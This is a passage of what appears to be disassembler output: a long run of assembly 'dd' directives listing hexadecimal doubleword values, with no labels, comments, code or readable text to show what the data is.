		dd 28524DC5h, 30C0F9EDh, 0E9805661h, 0D10198EBh, 0C1CDF599h
		dd 0F8C49110h, 45D20079h, 2B5C9293h, 0B871126Ch, 6BF13Bh
		dd 0DC4F816Eh, 14B2EA20h, 80457BC3h, 0E2121F00h, 0D17D090h
		dd 285ABD07h, 4C8194B1h, 0A7ECB970h, 19CE0329h,	48B72566h
		dd 7F37A4A8h, 98D140C0h, 0CFA05Fh, 0F028E2EBh, 2AB78FDFh
		dd 12002090h, 42A364F7h, 9D4F1Dh, 8EB8494Bh, 8C2213F4h
		dd 693E27F2h, 706F0AEDh, 57086095h, 6BF0605Dh, 0C9466E53h
		dd 1E006D22h, 7E39E215h, 3CCBDC8h, 0EF5ED37Fh, 40003C49h
		dd 63F72918h, 0E432B11h, 194DC96Bh, 0A32FD220h,	0B7745062h
		dd 8AECFC00h, 55215EAh,	0C1B1675Dh, 4CE00F18h, 10B2763Ch
		dd 8A5C2507h, 800CADA9h, 775F0B1h, 21A304C0h, 1B82507Bh
		dd 983D9976h, 497D800Ah, 6C3020BFh, 0D98B00F6h,	0A3EA5BF1h
		dd 0E0033DFh, 29E84A2Bh, 0D5E352h, 42536DD6h, 9C957A7Ch
		dd 84CBAF00h, 97082AE9h, 5C40C01Ah, 37E5D4B4h, 39651800h
		dd 8A27DEE3h, 9F1C0033h, 0E17B92C1h, 0A101AE13h, 6023303Eh
		dd 48CCB9A4h, 12A57324h, 8B0E4B5Fh, 1D4EC4DCh, 3AA1B130h
		dd 0B9BC4704h, 0E0D0D8FCh, 7BA927h, 9510AEE6h, 500D9E28h
		dd 9B47AD02h, 51C222CDh, 18467974h, 98267BBDh, 0BBC900B1h
		dd 66B62201h, 7E5D7875h, 6FD280F4h, 428C9DBBh, 2ADEC077h
		dd 0B88490h, 95E033DAh,	0C891A0BEh, 4B595C01h, 3E8DE722h
		dd 22C4884Bh, 3ADC301Fh, 0BF8D2844h, 0A4FC051Ch, 4752BA20h
		dd 0B0C2FD9Ch, 374608B0h, 245AFA00h, 9CD0FB91h,	0C4890064h
		dd 0CE73387Eh, 0D702A0F1h, 12849D90h, 1C8588Ch,	0F4FE0DC2h
		dd 609B1C7Fh, 10039A10h, 0B8964B0Ch, 189BE6h, 81919E68h
		dd 0E8144ED8h, 0F6B75400h, 488C5CEDh, 0DB070040h, 4D597252h
		dd 0A902C714h, 6729CDF7h, 23209694h, 9021FC68h,	861D50D0h
		dd 218F242Ch, 0B64FA900h, 0B9E306Eh, 8BA57454h,	0FBA064A0h
		dd 0B45D4E01h, 6B948018h, 42232171h, 2EB2CF0Fh,	60F8A09Bh
		dd 0ACB063h, 0EB734E56h, 0EAA4B402h, 0B651E8E5h, 0A02F2B4Eh
		dd 62005023h, 9230565Ch, 0E4650E54h, 0C013DA51h, 68E3BD00h
		dd 0CCF76602h, 707407D8h, 0B19707DCh, 0C7F0AD82h, 5404E16Ah
		dd 6CACF0BAh, 99F058B9h, 0CA008677h, 0D2B61A7Bh, 14D611h
		dd 0D0C082D1h, 6B413199h, 486CCC1Ah, 34A82868h,	7B01215Eh
		dd 9F62CF80h, 4EB5055Dh, 10883AEFh, 0ABC01DC9h,	61422A0Bh
		dd 83AF009h, 92807DEh, 28B34B34h, 0E99B0479h, 32101B3Fh
		dd 0E2612075h, 0A1003E68h, 0DF6AB72Ah, 373CFFAh, 3A8C4E02h
		dd 5807D928h, 1A438DE6h, 86339870h, 0ACD700FCh,	0F8A477Ah
		dd 0DE1E091Bh, 8FE8A20Ch, 6A57F700h, 3BB8D118h,	40650FEBh
		dd 0C6809B3Ah, 0B5792990h, 789CB000h, 0A680B4F4h, 3541D1Ch
		dd 7EED8EABh, 7FF9C4C0h, 9400E00Fh, 78C6E2FBh, 0B56F025Fh
		dd 0C400CC50h, 7BB064B7h, 3BEC9DCh, 0F5964A23h,	81049F7h
		dd 0BCBF48C6h, 0EDF81F1Dh, 810E00C4h, 1EEF7F2Bh, 961F6C00h
		dd 61C0E584h, 1457C1Bh,	0B077C120h, 9C376A10h, 22A2E829h
		dd 0C422E33Ch, 2F8622C7h, 3B3E6422h, 0A8C0CC3Fh, 0FB8078FCh
		dd 0C07E4093h, 63CF3D44h, 44CC515Eh, 14EF2921h,	657E503Ch
		dd 230513Bh, 1E08A514h,	3C04B805h, 94440955h, 1637467Eh
		dd 0CC743E29h, 817A2940h, 28417881h, 6C173301h,	1900C629h
		dd 0E344BFABh, 0EE81E9h, 0FC51B87Eh, 261C2385h,	272CC900h
		dd 42503017h, 9EF70F6Ch, 0A20E7DCEh, 6BD87020h,	0C000F1E5h
		dd 27901465h, 194BA63h,	29496728h, 0CC7FCD2Eh, 0CB00A1F8h
		dd 8871BFADh, 1E860C58h, 0C00F2FBDh, 1AFC1170h,	0AE003A3Bh
		dd 0C4FE3803h, 75C8F8D7h, 4EE9003Eh, 77B79D30h,	4872AFEFh
		dd 8C53AE00h, 0D066E56Fh, 9DC8003Ch, 0F818C27Fh, 0EC0032D5h
		dd 0DFD1A71Dh, 0F00F9A04h, 0E1480151h, 3D399389h, 0F2F4F4DDh
		dd 85577D0Fh, 6A246026h, 489EEF65h, 96002451h, 0FCCE043Fh
		dd 0B40E355Fh, 0A673BFD8h, 3F509216h, 0DF9F656Fh, 5D50DC14h
		dd 0C0815D7Ch, 82C72D53h, 0EB00361Eh, 1327FC0Eh, 4C78A1EFh
		dd 3D149847h, 0F9808C2Fh, 6A5B28F2h, 0E42C1100h, 0AEAD449Dh
		dd 3A4C00D8h, 7581B5Ah,	8011256h, 0EFC98F3Dh, 76F8DD75h
		dd 0B76503B6h, 0A2626085h, 21CD31C0h, 55408C00h, 86D8B18h
		dd 0EB1068Eh, 3682348Fh, 0D332DA00h, 6086EB99h,	24CE2E2Fh
		dd 102118E5h, 0E203789Dh, 8DD3A402h, 0DA85805Eh, 0D2220076h
		dd 71FB656Ch, 0B6000792h, 1144FAB3h, 40CEC5h, 0D3E2AD6h
		dd 66C3E26Fh, 0BF2CAC75h, 7200770Eh, 5141FCF6h,	52FF0358h
		dd 0B27EA53Ch, 0B17D8080h, 71345300h, 6D9C4266h, 9F100ECh
		dd 203975B9h, 0B8036283h, 90653E61h, 538FC1CEh,	0E9CBC0h
		dd 5A26F4D6h, 27C38B68h, 80CE9D3Ah, 35E0911h, 0FA203380h
		dd 77490715h, 401AC98Eh, 0EEABF4B1h, 64B8781Ch,	7148CAC0h
		dd 4046AEh, 8FDEAF67h, 5D98E782h, 6B7AD100h, 0BB880DAAh
		dd 7620057h, 0DF102D2Eh, 500070E5h, 9B462BCCh, 196A374h
		dd 941B3EC0h, 0B942E49Fh, 0F94880D8h, 0CC865DC1h, 0F4B300A3h
		dd 33DCEE40h, 5807E5A2h, 60B66197h, 7CA9BBA0h, 825900FCh
		dd 0CE5B8586h, 0BA7A09C2h, 9C1BB702h, 403A21F8h, 0D7EB0Fh
		dd 0BE9538Ah, 0BF7ECEC2h, 50F2D100h, 0CAC91767h, 9F1F0733h
		dd 10B78115h, 0D3664DCCh, 0C2E6AB8h, 48000835h,	0E1C9C29h
		dd 0D2DE0050h, 0F16DCD2Dh, 2A05C31Bh, 97198473h, 0ADA4E500h
		dd 134F89Fh, 14321011h,	0C4DBF9B1h, 20001678h, 0DF29F636h
		dd 1CC96087h, 0D50938h,	0E8DD3F9Dh, 6E3E319Bh, 0EE3804Ah
		dd 8E34A3B8h, 11BC09C0h, 44034798h, 3802968h, 9100CB77h
		dd 46F4C48Ch, 12F3C1CAh, 0F9ADF7h, 15D33F0Ch, 0F800C6B9h
		dd 63448CC5h, 0FEFBF287h, 0C7B6007Eh, 28433E7Dh, 5035B0Ah
		dd 6E85E28Ah, 0AC20B70Ch, 1019FF4h, 35118922h, 0D0EFB46Ch
		dd 1F0095FEh, 0CA5ECD76h, 0C37EC7h, 0B6EDF3E0h,	0C24A6D9h
		dd 0F4C91300h, 3B403018h, 0E55D00DDh, 5EE2A4Fh,	0B53A7506h
		dd 4E44802Dh, 0DD99C658h, 3CE30747h, 0B074A35Ah, 61E4BBA0h
		dd 0FF7FB528h, 0AC0055FAh, 0CE4AA256h, 642733h,	0F935E141h
		dd 38984B13h, 82CF680Eh, 0ADD2E09Ch, 3F1306Bh, 0E4916A50h
		dd 9FA8B3ABh, 0C7263A44h, 0E021816Fh, 932B2001h, 0FAF0AAFFh
		dd 464900BCh, 20145F7h,	770091C1h, 61FEF1F6h, 1B33309h
		dd 0B9A19625h, 0F4DA5366h
		dd 0B73E481h, 43A86400h, 11CAF240h, 345800D8h, 98B4BA08h
		dd 22E42ACDh, 120DC30Ch, 6D6043h, 16508A1Ah, 2C8901EFh
		dd 887F1000h, 0E7F220A6h, 9C7004Dh, 0EFEA9EBDh,	0F300E489h
		dd 0E8F0E534h, 0CDC0CCh, 339F3FFBh, 0CB92791Dh,	44B07500h
		dd 0D151619Dh, 0B9BD3C8Fh, 0D2944180h, 0B6E6CE31h, 0B223EC02h
		dd 60735166h, 1FC5920Eh, 7089D99h, 0F039197Dh, 24786590h
		dd 3C77A000h, 2F2E631h,	6C933720h, 53E570C2h, 0F700A281h
		dd 587A5536h, 7E8FAA78h, 659A0E94h, 1E32A87Ch, 0D2AFC0B0h
		dd 52784DA5h, 0A26C4900h, 4CC8C41Ch, 0D0D70BF2h, 4003191h
		dd 6B3BD598h, 291A0700h, 0E511DFB5h, 6AA40039h,	58EC9485h
		dd 64B0B723h, 0B3C4EA05h, 5C80D7CBh, 1E5C11A8h,	0C17B19E3h
		dd 5A691271h, 6080D104h, 5008487h, 194CDAEFh, 5F9E90h
		dd 0C3608D33h, 82FEA28Fh, 8697D600h, 9A033EB0h,	58E8032Dh
		dd 456CEC9Bh, 0ED2C7AA0h, 0ABEEBC07h, 8DD05A5Bh, 7F859Eh
		dd 509A4411h, 539F12DBh, 0C83DAE00h, 4169CD74h,	8CC3000Dh
		dd 970E94D9h, 34034BF2h, 28E8EEDAh, 0E471D082h,	81D90037h
		dd 17FEA0B4h, 0CD019905h, 0BCF0EA58h, 0C2F80D42h, 54B50055h
		dd 0D4DA2998h, 0B9792BE4h, 0B6CFB800h, 921ADB48h, 74C0B0E8h
		dd 995E0029h, 9CB0BDDFh, 6D022472h, 0AC08432Bh,	56A64067h
		dd 5DE0037h, 0F7D8847Ah, 0C2007B1Dh, 6EF8D00Dh,	2C41BEDh
		dd 0B1FBFD87h, 0EE40DCA9h, 54022650h, 4AB3B414h, 6B14E0F4h
		dd 0C7733C75h, 5684B50Ah, 471D00CCh, 407BF196h,	69757800h
		dd 0C89D97E1h, 53E8034Fh, 424BAF19h, 745E4600h,	0E092FA9Ch
		dd 55D638A5h, 0B0D4D914h, 1E8EC009h, 43197080h,	5E007023h
		dd 52B99062h, 0CAFF14h,	634679E7h, 0FB6EAF4Ah, 5B5C0C00h
		dd 0D76C0228h, 7CAC5850h, 0E61B6F0Eh, 431E81AEh, 0FEFF4E92h
		dd 0E27138C8h, 0CD6B1400h, 3BA93E44h, 479700D3h, 0EC168E06h
		dd 0AD0E7565h, 0C06B398Ch, 4AC083A3h, 0FDD00B43h, 58057D3h
		dd 0A814A25Ch, 0E00A3Bh, 4D8AFAE6h, 2E22257Fh, 3461BDh
		dd 0C39C0D11h, 0C0006A96h, 0A3DB5EF9h, 983B5E8h, 152AF4BBh
		dd 0FB41548Eh, 803DD5C9h, 458E9AB8h, 0B6A5D22h,	0E840BE16h
		dd 738D300h, 0F416CAD3h, 8480445Fh, 1488AB60h, 0F89F040Ah
		dd 292B6700h, 765EA821h, 9E556100h, 8DE88C97h, 129200C0h
		dd 694981DBh, 4BF69926h, 0C8F02300h, 651CF180h,	50C40037h
		dd 0E32E1808h, 4600B113h, 6A07EA56h, 3CD4EB5h, 0DC25D3A8h
		dd 42F9D12Ch, 415B718Bh, 0C1356940h, 70F4CC5Ah,	67B32A00h
		dd 4A8CEC60h, 2F27036Ch, 18F7170Ah, 31C83AA0h, 63ED0603h
		dd 0C8907802h, 0D6AFA5h, 0B7A3C105h, 0E19EE870h, 4113E680h
		dd 3E420D5h, 7842840Eh,	0A6AC40FEh, 0E6498Dh, 7FF29B8Eh
		dd 2E2977B8h, 6F59B403h, 0F0A0316Ch, 31F66ACEh,	4D6A45C6h
		dd 0CC9ED83Fh, 11729201h, 5561D16h, 1F0F29D8h, 80E58419h
		dd 0C15E101Ch, 9600EC0Dh, 0B005DACFh, 1FEA8E6h,	9470DB3Ah
		dd 0F14DF522h, 3FE44024h, 1E00B6BAh, 0ED86E75Fh, 982F6C97h
		dd 0E37570h, 77F311B7h,	0AEE00659h, 7C2CFC5Ch, 2109C100h
		dd 0D8416879h, 51F600A3h, 0EB061E70h, 6000881Fh, 2F9C7572h
		dd 17336AF9h, 0BC6901h,	681C7498h, 0E40050CAh, 3DF844F1h
		dd 3D6649DFh, 6E81D8ECh, 64F68583h, 7017D1EFh, 110096E0h
		dd 606F7982h, 8C3F8Dh, 0D964F832h, 7BDC750Fh, 0F402687Fh
		dd 89AF6673h, 0CB908057h, 0F6A443E9h, 36531FFCh, 63C744B9h
		dd 7F9EC03Ch, 810040A2h, 0D548E9CDh, 7E8F1FAh, 1B356C8Ah
		dd 8C3ED01Dh, 0B1000633h, 11D39A8Eh, 8F1653h, 0DF1AE03h
		dd 4C85C2BAh, 3C835807h, 1EAB88h, 0A88206CCh, 90AA001Dh
		dd 0E681F942h, 5FE83302h, 59FC6D00h, 9671BDC5h,	58ABF2FBh
		dd 7B269Ah, 10F2D0F9h, 257C8C20h, 193EFA0Fh, 5EB0C351h
		dd 56ABB81Bh, 9CA400BCh, 6255C5F1h, 0F000BFBBh,	0BD77CBCDh
		dd 1998653h, 61951373h,	31393214h, 40C0CE79h, 5C28ED48h
		dd 0D7009FB1h, 0C2CFCC4Bh, 26FC7D5Fh, 0D74657h,	8AA5607Ch
		dd 10037795h, 0C5ACCDFBh, 34D48D9Fh, 9C1BEC02h,	8C46C0BDh
		dd 0B0B40009h, 4EB2C653h, 231E90E3h, 5F8070ABh,	0D0A79E7Ah
		dd 16BB0029h, 3AE341EDh, 53007438h, 980C6B28h, 0C6C286h
		dd 0AC1043C7h, 0A81678CDh, 30286459h, 4247102Eh, 0C08005B5h
		dd 801A4CCCh, 32433FDBh, 0E548FB00h, 0CEC6732Ah, 50F00567h
		dd 809A7CCBh, 0A529E6DFh, 4CAF3D01h, 18EC9626h,	0EFE351C4h
		dd 7B3A930h, 1C2F597h, 0C01F5E91h, 0E35F984Dh, 0EE075C5Bh
		dd 5731BB2Dh, 6C680009h, 9BDE422h, 6B3F86C5h, 1DBF4B8Eh
		dd 806A5F09h, 63C49F0Eh, 3C00F4E7h, 9358D15Eh, 0B13DCAh
		dd 0E4BCFF53h, 7FAD07A5h, 3A75C501h, 337BD9A4h,	3CC411C5h
		dd 0D2C30091h, 79789A59h, 0EC0DE85Fh, 0A8800EEBh, 9133C8h
		dd 0B58910CAh, 0B381AF9Dh, 1DA02D00h, 6CEF0F40h, 8A180ACEh
		dd 80E4CC31h, 5F71D2E9h, 0CA1F5502h, 3EC03613h,	0F212E5Eh
		dd 0BA7D0EDFh, 0F7208C94h, 0E0223025h, 0EA89C601h, 0DA4D15F3h
		dd 95824h, 3320ACD3h, 314451B3h, 0AF49DC1Ch, 9B00F99Dh
		dd 4DB2B6D2h, 0F09C078Eh, 60695B84h, 7ED94AE5h,	0B7CBA900h
		dd 0D0D20F83h, 0EC2609DBh, 74A5F801h, 0C630B07Bh, 5D3DB609h
		dd 64800413h, 0BA9C7CC0h, 5F760D30h, 301863DBh,	0D901B488h
		dd 49A28361h, 0A0605729h, 441B48BCh, 31632Eh, 0A2EFF2F6h
		dd 153C23D9h, 681600FBh, 0BBFD9C90h, 631C03D2h,	1733CB56h
		dd 0E949CFF0h, 9D7C9090h, 0A11D6800h, 425BE22Ch, 8C3200A4h
		dd 49F208Fh, 0BE01CDBCh, 0A184B863h, 0C9E82DC0h, 0FAC3B74h
		dd 0D7923881h, 471AF87Dh, 163B079Ah, 76009881h,	0C3EFE34h
		dd 90075ABDh, 0F0EC7A6Ch, 300148B1h, 0D0B60079h, 3BC5117Bh
		dd 6200081Bh, 73824918h, 0AD6B5Fh, 802E77A0h, 0BB1FDF69h
		dd 54004C92h, 0B49232DAh, 9D905Ah, 0B3C1944h, 2AEE2767h
		dd 1E957900h, 307DD53Ah, 0A49E18A0h, 0D7B8E08Dh, 8FDB1A2Dh
		dd 423162ECh, 12784E30h, 0BDC61A9h, 5F00AF74h, 58B030B9h
		dd 3E783477h, 0AC92D500h, 0E9D9D00Eh, 539913EDh, 36A4D0A3h
		dd 0EC0132CAh, 2FF4E50Fh, 1080D3C8h, 3E3AC3CDh,	59013180h
		dd 466D507Ah, 45C0A0DCh, 9B4D00E0h, 0A213EAE8h,	220095A9h
		dd 0DEB5DA77h, 140AF778h, 0C83BF8CBh, 0E82C2E05h, 2594826Bh
		dd 2077A761h, 4370D914h, 1F22D505h, 0B80B3005h,	140C850Fh
		dd 753F1481h, 0E60C6D1h, 0BBBC0059h, 0F99B80A4h, 770A61FEh
		dd 0F2D10F2Dh, 0EECA2101h, 0F824A467h, 2F7005Dh, 0B318C74Bh
		dd 1C386AB6h, 0A1D380E3h, 38274DD4h, 0A4D8015Bh, 0C7903B05h
		dd 6C9DEC28h, 739FFC00h, 0D3641A7Eh, 0B064B08Eh, 242E0C3Ah
		dd 8BB86295h, 68595000h, 1912F8ABh, 0E26D0094h,	7E107B9Ch
		dd 481F86BAh, 1C055F4h,	1877256Fh, 90F003F7h, 0FD46ADC5h
		dd 0F4817EC2h, 43686429h, 1491998Ch, 9B9CE895h,	8DD2C000h
		dd 0EDB69D6h, 0B8EFF877h, 524D0150h, 1F4C4E4Fh,	0CB3870E4h
		dd 54A6D807h, 116080F7h, 73D75Fh, 0F1080F22h, 671C3355h
		dd 51777200h, 0F3E7868Ch, 0FFD700EEh, 742B96Bh,	513541Eh
		dd 0E8011067h, 810D591Dh, 18A048FCh, 10454F8Ah,	0D40C74F6h
		dd 9A5CC79Eh, 0DD75002Eh, 0C4546EE6h, 4D054A13h, 893F0763h
		dd 0E3AC40D0h, 97950058h
		dd 368B71CAh, 0D63E90C9h, 0EBEE00E5h, 2B1707B0h, 432E007Eh
		dd 47C7DCDAh, 72005C5Eh, 0C8AB9CE0h, 392C65h, 0C3E89A35h
		dd 0FF7A5337h, 688D1E07h, 3D71BE09h, 49F481EAh,	79A101E3h
		dd 0E2F7E19Ah, 0D4DEF191h, 10C98C1Dh, 643500E5h, 0C727F6h
		dd 228F08A9h, 3D720A94h, 0E2471400h, 0BCA81083h, 0A2D10009h
		dd 9A5BD2F5h, 4D018728h, 3404959Fh, 0CF4C08Bh, 0E0431D2Dh
		dd 8CEC4044h, 0EEC8DF3Ch, 676E5912h, 6A1F00FBh,	6BB7CC80h
		dd 82B1DD3Eh, 38F96F0Ch, 0D9FCE13Ch, 630F084h, 0D1674065h
		dd 30BFC44Fh, 90183175h, 73008844h, 500E8796h, 30EA6319h
		dd 0AE5883C0h, 5B3E6913h, 5E200048h, 51EF4F4Ch,	555C0007h
		dd 0E026D60Eh, 10072106h, 23B57D46h, 0C83D00EFh, 0D70D52h
		dd 11058F0Ah, 0C6B9E60Fh, 0C9646103h, 8886EC1Ah, 1D9E6EF2h
		dd 89296DA2h, 0EB8345E9h, 0E3900797h, 6E005659h, 0D241091Eh
		dd 1E27981h, 0A7589B38h, 0C8888C33h, 276E32Ch, 0D2037379h
		dd 67D17EBAh, 2DF6A092h, 0EEFE003Bh, 0DD9C8684h, 2F98B4B7h
		dd 0BB44A207h, 0F8D07501h, 0ECBCD056h, 0D6EC1DFAh, 0F4A2C636h
		dd 6500344Fh, 7DCA35EBh, 0E6968h, 0D413C2DFh, 9602791Dh
		dd 3D67D800h, 0A1CFC3E6h, 29310012h, 88430B62h,	0DE0091A2h
		dd 2747E907h, 7A40754Ch, 6FE6037Ch, 0ABFD6B1Fh,	0F56829A0h
		dd 0BF4E2201h, 0AEA8CDF8h, 6103E0CAh, 0C9C83946h, 306361Dh
		dd 934D7819h, 801FC83Fh, 92650240h, 1215D991h, 28CE7Bh
		dd 0BE38A074h, 0E8C38474h, 90D486C4h, 18AAB9AFh, 601D0212h
		dd 0AC719E3Bh, 7F00BAF8h, 4A4F7CFDh, 3284C8Ch, 0E8FF6956h
		dd 0FEA83961h, 0ED007758h, 0C218EFA8h, 77B72E4h, 0B5A534F8h
		dd 10420008h, 0F0E97C4Ch, 0B124682Eh, 7A016C9Ah, 0CE2549C8h
		dd 0CDE40CCh, 0B6D753C0h, 293EFE0Ah, 0BDC8813Ch, 0CA80C28Fh
		dd 24A860h, 0DC6635C7h,	0FF41AE91h, 54D8400h, 87CFDF50h
		dd 0EA10C0DBh, 0A7FB250Ah, 8DE23A09h, 0C480010h, 7308FF2Fh
		dd 1F9F00B6h, 68791242h, 0CF7C6A3Eh, 22631800h,	34F28CE3h
		dd 7B0400CBh, 7C0E6F35h, 61009095h, 44966538h, 0FFB9BC7h
		dd 6D0C73E5h, 7FE6AF40h, 2500260Eh, 0A68C0FBDh,	204CE1h
		dd 2EE34493h, 6A0D9EDEh, 0F3401500h, 737FEA6Fh,	0CB130C3Ah
		dd 8C106C4Ah, 3D001F90h, 0D7CD8E74h, 0F48A529Fh, 7BF401AEh
		dd 0AAA67E9Dh, 3986809Eh, 8AFA149h, 7CDD2E19h, 27C100D5h
		dd 0BC6D86FFh, 0D6AB8404h, 24C06232h, 1A37260h,	31B19666h
		dd 0D82380DBh, 75000F55h, 92BC61CBh, 22CF1A9h, 0F9D3A26Bh
		dd 0FF4056A8h, 0F7ECE778h, 0D0617600h, 0C987E10Fh, 0E3AB0F7Ch
		dd 0F575C4Ah, 2540AF72h, 90A1556Eh, 27668B0Fh, 981660A6h
		dd 2C440E7Eh, 0C7B2BDh,	20071054h, 220069D5h, 0FDB4AFAAh
		dd 0A1F39Ah, 9D93AC0Ah,	0F86149Bh, 56505E78h, 0E10036B4h
		dd 482DC465h, 1D5C019Eh, 3B086341h, 0E88E5F00h,	360E2305h
		dd 485AC53Dh, 0FA521877h, 98A4E4B0h, 20F61230h,	99C10096h
		dd 0CC0BFC71h, 7277089Ah, 3442FA00h, 0FB0D0998h, 9DC50076h
		dd 58A00A0Ch, 0C20050F9h, 0E9832A52h, 0F76FEAh,	85792EC1h
		dd 0F3F2E32Dh, 0CC31C301h, 12BB8BA4h, 0E461FAECh, 256000FDh
		dd 0EB1C17E0h, 0F8000B1Dh, 0B1A6AA06h, 805630h,	1B7A18A8h
		dd 0D9275062h, 12BCA91Eh, 24B5FB46h, 2EEF0AB8h,	0FA82051h
		dd 0E40BF62h, 70890969h, 2464BB00h, 4753E332h, 0F2E724E6h
		dd 15B0078h, 0F1428198h, 8A0031F0h, 0B5A7D145h,	0C976C0h
		dd 0ED2DD214h, 0CABA5F6Fh, 0C400F67Eh, 477F207Ah, 4C739BF5h
		dd 6114045Bh, 0A0806C32h, 0E5245DB7h, 21370700h, 113A3BB0h
		dd 935200ACh, 0CA624B40h, 0F03DE6CDh, 4F618E69h, 4DB2C0C5h
		dd 0F0129531h, 796F04A1h, 809DC627h, 0F787749Ch, 47925300h
		dd 0A0FCE2F0h, 4DB601A5h, 1875F9B8h, 4D880AFh, 324EC031h
		dd 848007Ah, 3E24E51Ch,	0B0B0C80Fh, 0FCA392A1h,	0A4B0E01Ah
		dd 9970C22h, 0ED4B7719h, 3554015Dh, 0AEE857CCh,	0E2F30039h
		dd 17600FF4h, 0D3014D4Bh, 35FA3F38h, 0D5701FC2h, 78893FB1h
		dd 115A2A80h, 77F6E2EDh, 3E487000h, 26B0A671h, 2B280330h
		dd 0F4D58D64h, 68940688h, 1C11A31Fh, 1017A0A9h,	0F53E1000h
		dd 0ECD9F1h, 0F24E6CE4h, 0CBFE3FBFh, 38731E00h,	29200485h
		dd 8DFB02C5h, 0D77D5095h, 73629483h, 0E5C054A8h, 667E6301h
		dd 0BED88AE8h, 29954082h, 0C1C624h, 76F1C47Bh, 376C8200h
		dd 7FF43EE0h, 19FB00CCh, 33C0E831h, 3A0009AEh, 2A98FDE1h
		dd 579412h, 9562738Ah, 0B7DF606Eh, 9BF06500h, 9FEBA517h
		dd 0C7AC000Dh, 0E7733CE0h, 0B60FE28Bh, 0C0E36E14h, 0B99752CAh
		dd 0A9952410h, 0E50E005Ch, 0D77A9829h, 430055FCh, 0E626C7EDh
		dd 0F262F3A8h, 0B71728F2h, 1F3F00D2h, 0F65174D6h, 590028BEh
		dd 0DB8AE503h, 0FB532981h, 58A714E8h, 3A04E858h, 30073424h
		dd 587B5CB3h, 6EA1D876h, 0B5002008h, 5D39360Ah,	0C200A487h
		dd 0CB245855h, 4CBE0030h, 0F9EA1A13h, 9C005A07h, 0B922006h
		dd 0F2A92880h, 9430077h, 560E8F6h, 13034F87h, 88250F5Eh
		dd 69CAC0F2h, 0FE180040h, 0B8C800Dh, 9604D7C0h,	0C2884D16h
		dd 82F50490h, 7B592889h, 1B5B05ACh, 0BFD9Dh, 8B6ECCCh
		dd 0AE02FA0Ah, 0D4C97C9h, 0BCE48089h, 1C81EEBDh, 800E7751h
		dd 8AA31641h, 27032E4Bh, 0D05F22FDh, 6CAA00B7h,	1796030Eh
		dd 0CE1D3FB8h, 6D8097E7h, 0B5FF7324h, 40916C5h,	0CD68009Dh
		dd 5E51EE4h, 0DB5B5700h, 8194D936h, 476400D5h, 0A8FF56C6h
		dd 76001851h, 5FEEF09Dh, 0CE6ADFh, 8A465770h, 10868321h
		dd 2E0D3Ah, 0EAA4AC6Ch,	3F45F849h, 0C507E49Bh, 0A005BEB7h
		dd 0B6AC9F0Eh, 48FAAF3Dh, 0D89E006Fh, 727E4C38h, 7E287BCCh
		dd 5D140C09h, 9E609119h, 0C877D47Dh, 28F738h, 593B8BCBh
		dd 0DB561Ah, 0CFC9783Fh, 0BBD9B618h, 7772717h, 0E8F2B006h
		dd 0CDF90040h, 33AD3439h, 0FE8B970h, 7DF05000h,	0A858E899h
		dd 3071EDh, 324B9C9Bh, 0C22DCCC7h, 83161E3Ah, 1FBEA253h
		dd 26180A46h, 0C238869Dh, 88040BF3h, 377F075Ch,	22B380DAh
		dd 0B5006C6Eh, 862EB3Dh, 0EA9B3391h, 0CFC73B36h, 0EF235400h
		dd 3CCE554Bh, 0FCBE300h, 9E32DCD6h, 0CCD10048h,	8AB791BEh
		dd 0B4A8C65Bh, 4460C102h, 0F71CA690h, 0B5DB3D7Bh, 80D2A703h
		dd 93B8BF82h, 0E0004CA4h, 0D905E12h, 0F665B844h, 0CE0900D9h
		dd 1C27E888h, 48FE12C4h, 0ACE62E03h, 1258772Dh,	0FFBA58h
		dd 0C0EF784Eh, 358DBC6h, 0BE9D00ACh, 7A819010h,	0B9B20075h
		dd 9B14B158h, 3460AB0Ah, 0ADDB4620h, 224E01C6h,	0B6AF5540h
		dd 0E380C6A5h, 5BA69A8Bh, 27FCC250h, 0E205F000h, 18461D98h
		dd 0A29C00ABh, 8DEE4E41h, 290169C5h, 8E0F8744h,	0D530C1AAh
		dd 6D8CA078h, 7607005Bh, 6A7CF12Ah, 0EF00929Ah,	6F55F396h
		dd 0FA5D6h, 372BE5FEh, 0E925339Fh, 0ECE48300h, 51930ECDh
		dd 8A900024h, 65E23D3Ch, 4A00D03Fh, 0B544C6CFh,	0FD41B8h
		dd 1B98529Dh, 748318E9h, 809F9A3Eh, 0ECE744F3h,	0BC753Ah
		dd 2ED90FB9h, 0C8A60D4Bh, 0FE011BEAh, 0FDD5E16Ah, 0CCDC2607h
		dd 0E62A00A8h, 0A1D399B8h, 0CBEAC972h, 26A9BF0Eh, 0C03E4F1Fh
		dd 686CF80h, 0E8830028h, 0DE4ED6E3h, 44006533h,	532767FEh
		dd 989EB0h, 70FC2413h, 0E0A0CCCBh, 29264800h, 833499F5h
		dd 4457002Bh, 0D37BFDCFh
		dd 7700CD27h, 0F6AB1D52h, 2EAD3Bh, 0B6A4C654h, 0C105535Dh
		dd 0D8515E00h, 0D4079D4h, 66E60246h, 9AD2B8A0h,	523280DFh
		dd 0C8B47Bh, 0DC748FCh,	2688E493h, 87203901h, 50B9AC4h
		dd 2B84E941h, 7B10ECh, 41551477h, 578173EFh, 0EC6A9200h
		dd 0B23A1999h, 719E0065h, 3602A469h, 0C4073D7Eh, 3FDD726Eh
		dd 818CB620h, 0E3D70786h, 37C6A2B5h, 5F54004Dh,	1D07B4C9h
		dd 2B49AA2Dh, 1B96004Bh, 0CC38FAh, 9DE547A7h, 3D21C248h
		dd 78DF2701h, 41356949h, 0F831CCh, 0E3898F43h, 0E4AD3DA6h
		dd 26604500h, 4FFB021Dh, 400464DAh, 0F762C0F9h,	7B05B5D0h
		dd 829A5EA6h, 5AA010C0h, 8A9E00CFh, 3FF14BD4h, 0DF00D063h
		dd 33C90AB9h, 68C19Fh, 0A5803A35h, 34F1FF3h, 5FEF2D00h
		dd 10DDCC0h, 0B05D706Dh, 67280015h, 0E5BFA7Eh, 4D031474h
		dd 44A28773h, 111AD075h, 9E2D269Dh, 215E132Ch, 0E47A9300h
		dd 0C4016EF0h, 227D48B9h, 0C7D06D82h, 0D92B006Ch, 1CFD1A34h
		dd 0CD008A73h, 353703D2h, 0E0BE9817h, 0B51900B2h, 78A333C8h
		dd 2EEA1238h, 0D0911F00h, 8342F75Eh, 131EE23h, 0E89FCB03h
		dd 0BCFC7FF0h, 5CA40088h, 50DE30CEh, 97EF009Bh,	0DD6C5BCFh
		dd 760C4073h, 785ED744h, 82150378h, 9DA68EC2h, 1013B0E8h
		dd 0BFEB8D18h, 1326C066h, 0D96AEEh, 0C3BA8E17h,	6776205Ah
